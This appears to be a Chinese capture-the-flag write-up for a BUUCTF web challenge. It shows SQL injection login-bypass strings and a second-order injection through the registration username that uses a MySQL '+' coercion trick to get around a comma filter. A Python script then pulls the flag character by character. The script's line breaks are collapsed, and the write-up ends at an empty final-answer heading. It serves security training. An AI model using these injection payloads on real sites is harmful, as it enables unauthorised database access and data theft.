一、环境:在线测试平台
BUUCTF在线评测 (buuoj.cn)
二、进入界面先尝试万能账号
1'or'1'='1'#
换格式 hais1bux1
1@1'or'1'='1'#
三、万能的不行那我们就得想注册了,去register.php去看看
注册个账号
发现用户名回显,猜测考点为用户名处二次注入,再次注册
很明显是有的
三、如何解决?
在mysql中我们熟知一点是,+可以当做运算符 ,比如我们执行
select ‘1’+‘2a’
返回值为空
select '0'+database();
当我们用ASCII值来计算时,此时出现库第一位s的ASCII码值
select '0'+ascii(substr(database(),1,1));
因为题目中过滤掉了逗号,因此用from for来代替
0'+ascii(substr(database() from 1 for 1))+'0;
成功回显,因为过滤了information,只能猜字段名为flag,所以去用python脚本爬
脚本如下:
# -*- coding:utf-8 -*-
"""
@Author: lingchenwudiandexing
@contact: 3131579667@qq.com
@Time: 2024/2/19 1:04
@version: 1.0
"""
import requests
import logging
import re
from time import sleep# LOG_FORMAT = "%(lineno)d - %(asctime)s - %(levelname)s - %(message)s"
# logging.basicConfig(level=logging.DEBUG, format=LOG_FORMAT)def search():flag = ''url = 'http://19f46d59-6746-4dce-84c1-73a67354f6d1.node5.buuoj.cn/'url1 = url+'register.php'url2 = url+'login.php'for i in range(100):sleep(0.3)#不加sleep就429了QAQdata1 = {"email" : "1234{}@123.com".format(i), "username" : "0'+ascii(substr((select * from flag) from {} for 1))+'0;".format(i), "password" : "123"}data2 = {"email" : "1234{}@123.com".format(i), "password" : "123"}r1 = requests.post(url1, data=data1)r2 = requests.post(url2, data=data2)res = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',r2.text)res1 = re.search(r'\d+', res.group())flag = flag+chr(int(res1.group()))print(flag)print("final:"+flag)if __name__ == '__main__':search()
四、最终答案: